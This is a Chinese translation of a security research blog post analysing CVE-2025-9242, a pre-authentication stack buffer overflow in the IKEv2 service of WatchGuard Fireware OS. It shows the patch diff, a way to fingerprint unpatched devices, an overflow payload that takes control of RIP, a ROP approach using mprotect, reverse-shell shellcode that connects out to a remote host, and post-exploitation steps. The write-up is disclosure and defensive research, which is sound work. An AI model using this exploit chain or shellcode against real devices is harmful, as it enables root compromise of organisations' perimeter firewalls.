WatchGuard Fireware OS IKEv2缓冲区溢出漏洞分析与利用

本文深入分析了WatchGuard Fireware OS中IKEv2协议的栈缓冲区溢出漏洞CVE-2025-9242,详细介绍了漏洞原理、协议交互过程、版本指纹识别方法,并演示了如何通过ROP链实现远程代码执行,最终获得目标设备的root权限。

yIKEs (WatchGuard Fireware OS IKEv2 越界写入 CVE-2025-9242)

编辑注:在我们开始之前,热烈欢迎McCaulay Hudson,watchTowr Labs团队的最新成员,发表他的首篇博客文章!欢迎加入这场混乱,McCaulay!

今天是1996年11月8日,我们很兴奋地探索这个我们称为基于栈的缓冲区溢出的新原语。这是一个活着的伟大时代,特别是因为我们不必处理任何现代/不太现代的缓解措施的痛苦。

哦不,等等,现在是2025年,我们仍然在企业级设备中看到基于栈的缓冲区溢出,当然,还缺乏主流的利用缓解措施。

今天,我们将深入探讨CVE-2025-9242 - 这是一个围绕WatchGuard Fireware OS中现代(哈哈)原语的漏洞,Fireware OS是驱动WatchGuard亮红色Firebox网络安全设备的操作系统。或者,换句话说,2025年WatchGuard Fireware OS中的越界写入漏洞(用WatchGuard自己的话说)。

运行Fireware OS的WatchGuard设备不仅仅是防火墙;它们是VPN集中器、策略执行引擎、入侵防御系统,并且在许多情况下,是整个组织的第一道和最后一道防线。

在我们看来,“防御"这个词在这里承担了太多重量。

这篇博客文章将引导读者了解我们在Fireware OS中分析和复现CVE-2025-9242的过程。对于好奇的读者,官方的WatchGuard公告可以在这里找到。

WatchGuard是谁,什么是Fireware OS

WatchGuard是一家老牌安全供应商,声称保护全球超过25万家中小型企业 - 根据他们自己的网站,保护超过1000万个端点。

他们的设备运行Fireware OS,一个一体化边缘平台,旨在成为网络安全的瑞士军刀。它包含入侵防御、防病毒、网页过滤,甚至还有一个VPN功能,让您的设备通过网络之间的加密隧道低声传递秘密。

简而言之,Fireware OS是WatchGuard Firebox硬件的软件大脑 - 那些闪亮的红色盒子自豪地坐在服务器机架中,守卫着您的私有网络和公共互联网之间的边界。

什么是CVE-2025-9242

CVE-2025-9242(如此 catchy)获得CVSS4.0分数9.3(与CVSS3.1分数不可比),标记为"严重”,根据WatchGuard的说法,当配置了动态网关对等体时,影响使用IKEv2的移动用户VPN和使用IKEv2的分支机构VPN。

根据WatchGuard的说法,此漏洞影响Fireware OS版本: 11.10.2至11.12.4_Update1(含), 12.0至12.11.3(含)和2025.1。

以下是WatchGuard对此漏洞的描述:

WatchGuard Fireware OS iked进程中的越界写入漏洞可能允许远程未经身份验证的攻击者执行任意代码。当配置了动态网关对等体时,此漏洞影响使用IKEv2的移动用户VPN和使用IKEv2的分支机构VPN。

如果Firebox先前配置了使用IKEv2的移动用户VPN或使用IKEv2到动态网关对等体的分支机构VPN,并且这些配置后来被删除,如果仍然配置了到静态网关对等体的分支机构VPN,则该Firebox可能仍然易受攻击。

让我们总结一下,看看我们是否正在面对一个具有您友好的邻居勒索软件团伙喜欢看到的所有特征的漏洞:

  • 影响通常暴露在互联网上的服务(IKEv2 VPN服务)
  • 可在身份验证前利用/到达
  • 在边界设备上执行任意代码

在我们今天的分析过程中,我们还将发现WatchGuard(开发安全设备并 presumably 了解安全实践)是否了解"现代"利用缓解措施。

剧透:不,似乎不了解。

在我们继续之前,这里有一个提醒:“WatchGuard使来自全球的超过25万家中小型企业能够保护他们最重要的资产,包括超过1000万个端点。”

yIKEs.补丁对比 - CVE-2025-9242

正如我们在分析N日漏洞时总是做的那样,我们的首要任务是识别易受攻击的代码所在位置并开始确定补丁的内容。为此,我们比较了以下版本的Fireware OS:

  • 12.11.3(未打补丁)
  • 12.11.4(已打补丁)

很快,我们识别出了/usr/bin/iked中与我们理解漏洞已解决的位置(在IKEv2服务内)一致的可疑更改。尽管有大量更改,但我们很快将注意力集中在了ike2_ProcessPayload_CERT函数内的代码更改上。

以下代码片段是我们在易受攻击的12.11.3固件版本中重建的ike2_ProcessPayload_CERT函数。

我们为简洁起见删除了一些代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
// src/ike/iked/v2/ike2_payload_cert.c
int ike2_ProcessPayload_CERT(uint8_t *pIkeSA, p_id_t *pIDPld)
{
    char identification [520];
    memset(identification, 0, sizeof(identification));
    ...

    // 漏洞:基于栈的缓冲区溢出
    // * pIDPld.identification 是攻击者控制的缓冲区
    // * identification 是固定大小的栈缓冲区,520字节
    memcpy(identification, pIDPld.identification.buffer, pIDPld.identification.length);

    ...

    int status = CMgrValidateCert_GetPubKey(...);
    if (status != 0)
        wglog_trace_r("failed to validate received peer certificate");
    wglog_trace_r("successfully validated received peer certificate");
}

总之,此代码旨在将客户端"identification"复制到本地栈缓冲区,然后验证提供的客户端SSL证书。

查看已打补丁的12.11.4固件版本中的相同函数,我们可以看到在identification缓冲区上引入了一个额外的长度检查(在注释// CVE-2025-9242 length check patch下高亮显示):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
// src/ike/iked/v2/ike2_payload_cert.c
int ike2_ProcessPayload_CERT(uint8_t *pIkeSA, p_id_t *pIDPld)
{
    char identification [512];
    memset(identification, 0, sizeof(identification));
    ...

    // CVE-2025-9242 长度检查补丁
    if (pIDPld.identification.length > 0x200)
    {
        wglog_trace_r("received ID data legth(%d) is larger than expected length",
            gProgram, pIDPld.identification.length);
        return -1;
    }

    memcpy(identification, pIDPld.identification.buffer, pIDPld.identification.length);

    ...

    int status = CMgrValidateCert_GetPubKey(...);
    if (status != 0)
        wglog_trace_r("failed to validate received peer certificate");
    wglog_trace_r("successfully validated received peer certificate");
}

发现补丁后,我们复现此漏洞的下一步变得清晰:我们需要拔牙,戳自己的眼睛,并开始详细弄清楚IKE协议如何最终触发易受攻击的函数。这将使我们能够构建机制来识别易受攻击的设备并利用该漏洞。

IKEv2,入门

为不熟悉的人快速解释一下,IKEv2是一种通常在UDP端口500上运行的协议,主要负责建立虚拟专用网络(VPN)隧道。

在高层次上,它处理两个对等体之间加密参数、身份验证和密钥交换的安全协商。

协议的未经身份验证部分包括两个初始数据包交换:

基于以上,易受攻击的代码(Identification部分)在IKE_SA_AUTH期间处理。这意味着我们必须向WatchGuard IKE服务发送两个数据包才能到达易受攻击的代码路径:

  • 一个IKE_SA_INIT数据包,随后是
  • 一个IKE_SA_AUTH数据包。

让我们更深入地研究一下协议。

第1部分 - IKE_SA_INIT

解释这里发生的事情:

第一个数据包的工作简单但重要 - 它启动Diffie-Hellman密钥交换。在这里,客户端提议其支持的加密转换,发送其公钥,并放入一个随机数。

或者,换句话说:这是协议的握手版本,双方同意它们将如何安全地交谈。尚未发生身份验证;只是客户端和服务器交换数学问题以建立共享秘密。

下面,IKE_SA_INIT数据包 - 显示为树 - 突出了此初始交换所需的必填字段:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
Internet Security Association and Key Management Protocol
    Initiator SPI: aae76f3726073034
    Responder SPI: 0000000000000000
    Next payload: Security Association (33)
    Version: 2.0
    Exchange type: IKE_SA_INIT (34)
    Flags: 0x08 (Initiator, No higher version, Request)
    Message ID: 0x00000000
    Length: 548
    Payload: Security Association (33)
        Payload: Proposal (2) # 1
            Payload: Transform (3)
                Transform Type: Encryption Algorithm (ENCR) (1)
                Transform ID (ENCR): ENCR_AES_CBC (12)
                Transform Attribute (t=14,l=2): Key Length: 256
            Payload: Transform (3)
                Transform Type: Pseudo-random Function (PRF) (2)
                Transform ID (PRF): PRF_HMAC_SHA2_256 (5)
            Payload: Transform (3)
                Transform Type: Integrity Algorithm (INTEG) (3)
                Transform ID (INTEG): AUTH_HMAC_SHA2_256_128 (12)
            Payload: Transform (3)
                Transform Type: Diffie-Hellman Group (D-H) (4)
                Transform ID (D-H): 2048 bit MODP group (14)
    Payload: Key Exchange (34)
    Payload: Nonce (40)
    Payload: Notify (41) - NAT_DETECTION_DESTINATION_IP
    Payload: Notify (41) - NAT_DETECTION_SOURCE_IP
    Payload: Vendor ID (43) : Unknown Vendor ID
    Payload: Vendor ID (43) : Unknown Vendor ID
    Payload: Vendor ID (43) : Cisco Fragmentation
    Payload: Vendor ID (43) : Cisco Fragmentation
    Payload: Notify (41) - IKEV2_FRAGMENTATION_SUPPORTED
    Payload: Notify (41) - REDIRECT_SUPPORTED
    Payload: Notify (41) - SIGNATURE_HASH_ALGORITHMS

如果服务器接受提议的转换,它会用自己的公钥、随机数和选择的转换集进行回复。

换句话说,它同意加密的参与规则 - 双方从此将如何安全地交谈。

第2部分 - IKE_SA_AUTH

第二个数据包携带一个受保护的加密载荷,该载荷使用在IKE_SA_INIT"握手"中协商的转换进行保护。从Diffie-Hellman交换派生的共享秘密用于加密此载荷。

然而,对于我们的目的来说,这个数据包值得注意:它可以包括Identification - Initiator载荷和Certificate载荷,这正是易受攻击的函数被调用的地方。

服务器确实尝试证书验证,但该验证在易受攻击的代码运行之后发生,允许我们的易受攻击代码路径在身份验证前可到达:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
Internet Security Association and Key Management Protocol
    Initiator SPI: aae76f3726073034
    Responder SPI: f1b3cf883e18a45c
    Next payload: Encrypted and Authenticated (46)
    Version: 2.0
    Exchange type: IKE_AUTH (35)
    Flags: 0x08 (Initiator, No higher version, Request)
    Message ID: 0x00000001
    Length: 1616
    Payload: Encrypted and Authenticated (46)
        Initialization Vector: 57401bf413505f5550173a07d778d68f (16 bytes)
        Encrypted Data (1552 bytes) <AES-CBC-256 [RFC3602]>
        Decrypted Data (1552 bytes)
            Contained Data (1538 bytes)
                Payload: Identification - Initiator (35) <---
                    Payload length: 521
                    ID type: FQDN (2)
                    [] Identification Data:(A*513)      <---
                Payload: Certificate (37)                <---
                Payload: Notify (41) - INITIAL_CONTACT
                Payload: Notify (41) - HTTP_CERT_LOOKUP_SUPPORTED
                Payload: Certificate Request (38)
                Payload: Configuration (47)
                Payload: Security Association (33)
                Payload: Traffic Selector - Initiator (44) # 1
                Payload: Traffic Selector - Responder (45) # 1
                Payload: Vendor ID (43) : RFC 3706 DPD (Dead Peer Detection)
                Payload: Notify (41) - MOBIKE_SUPPORTED
                Payload: Notify (41) - MULTIPLE_AUTH_SUPPORTED
            Padding (13 bytes)
            Pad Length: 13
        Integrity Checksum Data: 3e2683f32beaaddeb8f3f0d43f7b0b2b (16 bytes) <HMAC_SHA2_256_128 [RFC4868]>[correct]

版本指纹识别

当深入IKEv2协议,观察数据包在客户端和WatchGuard的VPN服务之间飞行时,一些奇怪的东西脱颖而出 - 服务器响应中嵌入的一个base64字符串。这立即引起了我们的注意。在花了比我们愿意承认的更多时间涉足IKE相关的RFC之后,我们在规范中没有看到任何地方提到base64数据。

深入挖掘,很明显这不是一些未记录的怪癖 - 它是WatchGuard实现独有的自定义Vendor ID载荷。

1
2
3
4
00000000: bfc2 2e98 56ba 9936 11c1 1e48 a6d2 0807  ....V..6...H....
00000010: a95b edb3 9302 6a49 e60f ac32 7bb9 601b  .[....jI...2{.`.
00000020: 566b 3439 4d54 4975 4d54 4575 4d79 4243  Vk49MTIuMTEuMyBC
00000030: 546a 3033 4d54 6b34 4f54 513d            Tj03MTk4OTQ=

正如您可能已经注意到的,Vendor ID以一个32字节的哈希开始 - IKE的标准配置 - 但它后面立即跟着一些不太熟悉的东西:一个base64编码的字符串。

1
bfc22e9856ba993611c11e48a6d20807a95bedb393026a49e60fac327bb9601bVk49MTIuMTEuMyBCTj03MTk4OTQ=

那么这个神秘字符串是什么?

1
2
~ # echo 'Vk49MTIuMTEuMyBCTj03MTk4OTQ=' | base64 -d
VN=12.11.3 BN=719894

中奖了!我们看到两个参数:

  • VN(版本号):12.11.3
  • BN(构建号):719894

这很有用 - 除了漏洞复现之外,我们现在有一种可靠的机制来指纹识别正在使用的WatchGuard Firmware OS版本,无需身份验证且只需单个UDP数据包。

触发溢出

版本识别,无需身份验证且可靠,很好 - 但我们想要更多。我们想要证明一个设备是易受攻击且可利用的,理想情况下不是通过将一些数字与另一个数字列表匹配。

让我们盘点一下我们拥有的:

  • 我们大致了解IKEv2协议如何工作到达到漏洞点的程度,
  • 我们可以根据版本号指纹识别服务器以检查它是否易受攻击。

是时候把这一切做得太过分了。

在我们看到shell倾泻而下之前,我们首先需要协商并确定WatchGuard IKEv2服务支持的转换。

默认情况下,在WatchGuard Fireware OS v12.11.3中,支持以下转换:

转换 密钥组
SHA2-256-AES(256-bit) Diffie-Hellman Group 14
SHA1-AES(256-bit) Diffie-Hellman Group 5
SHA1-AES(256-bit) Diffie-Hellman Group 2
SHA1-3DES Diffie-Hellman Group 2

Diffie-Hellman交换完成后,客户端发送IKE_SA_AUTH数据包。该加密消息可以携带多个载荷,包括Identification – Initiator载荷 - 最终被处理并传递给易受攻击的例程。

在正常操作下,identification字段是一个短的、良性的字符串 - 比如"WatchGuard"。然而,在这种情况下,我们更有问题 - 我们发送字母A 520次,填充我们之前看到的固定栈缓冲区,随后是各种其他值:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
identification = (
    b'A' * 520 +
    b'B' * 8 + #
    b'C' * 8 + #
    b'D' * 8 + # RBX
    b'E' * 8 + # R12
    b'F' * 8 + # R13
    b'G' * 8 + # R14
    b'H' * 8 + # R15
    b'I' * 8 + # RBP
    b'\\xDE\\xAD\\xBE\\xEF\\x13\\x37\\xC0\\xD3'  # RIP
)

在x86-64中,各种寄存器值在函数开始时存储在栈上。

函数体运行,这些保存的值被推到一边。在函数结束时,它通过将它们从栈中弹出恢复保存的寄存器,以便在控制返回时调用者的寄存器状态完好无损。

简而言之,函数的开始将寄存器推送到栈上;函数的结束将它们弹出并恢复CPU状态:

1
2
3
4
5
6
7
        0041f5ba 5b              POP        RBX
        0041f5bb 41 5c           POP        R12
        0041f5bd 41 5d           POP        R13
        0041f5bf 41 5e           POP        R14
        0041f5c1 41 5f           POP        R15
        0041f5c3 5d              POP        RBP
        0041f5c4 c3              RET

然而,在这种情况下,当Identification缓冲区溢出栈并且因为我们已损坏这些值时,函数最终将我们攻击者控制的值弹出到寄存器中。

在我们的示例中,RBX接收0x44444444... (DDDDDDDD),R12接收0x45454545... (EEEEEEEE),依此类推,直到最后的RET将0xDEADBEEF1337C0D3弹出到RIP,程序计数器中。

将此载荷发送到易受攻击的WatchGuard IKEv2服务会产生损坏的寄存器和栈状态,类似于下面显示的状态:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
Program received signal SIGSEGV, Segmentation fault.
0x0000000000537a5f in ?? ()
(gdb) i r
rax            0x12     18
rbx            0x4444444444444444       4919131752989213764
rcx            0x1      1
rdx            0x7fffffffd978   140737488345464
rsi            0x612e88 6368904
rdi            0x0      0
rbp            0x4949494949494949       0x4949494949494949
rsp            0x7fffffffdca8   0x7fffffffdca8
r8             0x0      0
r9             0x0      0
r10            0x40     64
r11            0x246    582
r12            0x4545454545454545       4991471925827290437
r13            0x4646464646464646       5063812098665367110
r14            0x4747474747474747       5136152271503443783
r15            0x4848484848484848       5208492444341520456
rip            0x537a5f 0x537a5f
eflags         0x10246  [ PF ZF IF RF ]
cs             0x33     51
ss             0x2b     43
ds             0x0      0
es             0x0      0
fs             0x0      0
gs             0x0      0
(gdb) x/1i $pc
=> 0x537a5f:    retq
(gdb) x/8xb $rsp
0x7fffffffdca8: 0xde    0xad    0xbe    0xef    0x13    0x37    0xc0    0xd3
(gdb) x/136xb $rsp-128
0x7fffffffdc28: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0x7fffffffdc30: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0x7fffffffdc38: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0x7fffffffdc40: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0x7fffffffdc48: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0x7fffffffdc50: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0x7fffffffdc58: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0x7fffffffdc60: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0x7fffffffdc68: 0x42    0x42    0x42    0x42    0x42    0x42    0x42    0x42
0x7fffffffdc70: 0x43    0x43    0x43    0x43    0x43    0x43    0x43    0x43
0x7fffffffdc78: 0x44    0x44    0x44    0x44    0x44    0x44    0x44    0x44
0x7fffffffdc80: 0x45    0x45    0x45    0x45    0x45    0x45    0x45    0x45
0x7fffffffdc88: 0x46    0x46    0x46    0x46    0x46    0x46    0x46    0x46
0x7fffffffdc90: 0x47    0x47    0x47    0x47    0x47    0x47    0x47    0x47
0x7fffffffdc98: 0x48    0x48    0x48    0x48    0x48    0x48    0x48    0x48
0x7fffffffdca0: 0x49    0x49    0x49    0x49    0x49    0x49    0x49    0x49
0x7fffffffdca8: 0xde    0xad    0xbe    0xef    0x13    0x37    0xc0    0xd3

注意:RIP不是0xDEADBEEF1337C0D3,因为它不是有效地址,程序首先触发分段错误,但是,下一条指令显示为retq,栈顶显示DEADBEEF1337C0D3

锤子时间 - ROP, Shell, 跳转

在获得对$RIP的控制后,这种情况在随意看来可能显得微不足道易利用。然而,由于可用的ROP小工具数量有限,情况并非如此(一如既往,生活并不那么简单)。

正如我们上面暗示的那样,我们非常失望地看到几乎所有的利用缓解措施都没有被使用 - 对于2025年的设备来说,这是一个可悲的状态,更不用说安全设备了。

至少NX位缓解措施已启用,我们猜,这让我们从直接执行代码的琐碎中稍微解脱出来。

本能地,我们的下一步是创建一个ROP链来执行system("<cmd>"),因为它已经是/usr/bin/iked中的导入函数。

但再一次,生活在这个平行宇宙中,您可能会惊讶地了解到,在WatchGuard OS v12.11.3中没有/bin/sh(就像没有PIE,或栈金丝雀 - sekurity!)。轻量且高效!

对于不熟悉的人来说,C库函数system最终使用/bin/sh -c "{cmd}"调用execve

值得注意的是,Fireware OS v12.11.3没有包含任何完整的交互式shell,包括/bin/bash/bin/ash。这个遗漏略微提高了利用的门槛,并且有意或无意地使我们的生活更加困难。更值得注意的是(哈哈),WatchGuard是为数不多的在这种上下文中默认不提供shell的供应商之一。

(我们可能或可能没有编写了整个ROP链来使用system,然后才注意到缺少/bin/sh

面对这个冷酷而严峻的现实,我们的下一个选项是构建一个ROP链来调用mprotect以使栈可执行,从而击败NX提供的缓解措施。

在调用mprotect并标记我们的栈为可执行后,我们然后能够将我们的shellcode小心地放置在缓冲区中,然后触发ROP链直接从栈执行我们的shellcode。

虽然在这些情况下总是有几个shellcode的载荷选项,但由于设备缺乏标准的交互式shell,我们选择了一个紧凑的反向TCP载荷,该载荷生成一个交互式Python解释器。

以下C代码表示shellcode所做的执行:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
char *argv[] = { "/usr/bin/python3", "-i", "-u", NULL };

// 设置服务器地址
struct sockaddr_in serv_addr;
memset(&serv_addr, 0, sizeof(serv_addr));
serv_addr.sin_family = AF_INET;
serv_addr.sin_port = htons(target_port);
inet_aton(target_ip, &serv_addr.sin_addr);

// 连接到远程主机
int sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
connect(sockfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr));

// 复制描述符(stdout,stdin,stderr)
dup2(sockfd, 0);
dup2(sockfd, 1);
dup2(sockfd, 2);

// 通过TCP生成python3交互式shell
execve("/usr/bin/python3", argv, NULL);

就这样,我们能够演示一个工作的远程Python shell,以root身份在我们的目标,一个易受攻击的WatchGuard设备上运行。

为了升级这个立足点,我们有许多选项 - 包括:

  • 直接在Python中执行execve以将文件系统重新挂载为读/写。
  • 将BusyBox busybox二进制文件下载到目标上
  • /bin/sh符号链接到BusyBox二进制文件

然后 kaboom - 允许我们获得更熟悉的完整Linux shell。

检测工件生成器

按照传统并为了使防御者能够使用,我们制作了一个检测工件生成器,以在家中演示和实现身份验证前的远程代码执行(RCE)。

这件艺术品可以在 watchtowrlabs/watchTowr-vs-WatchGuard-CVE-2025-9242 找到。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计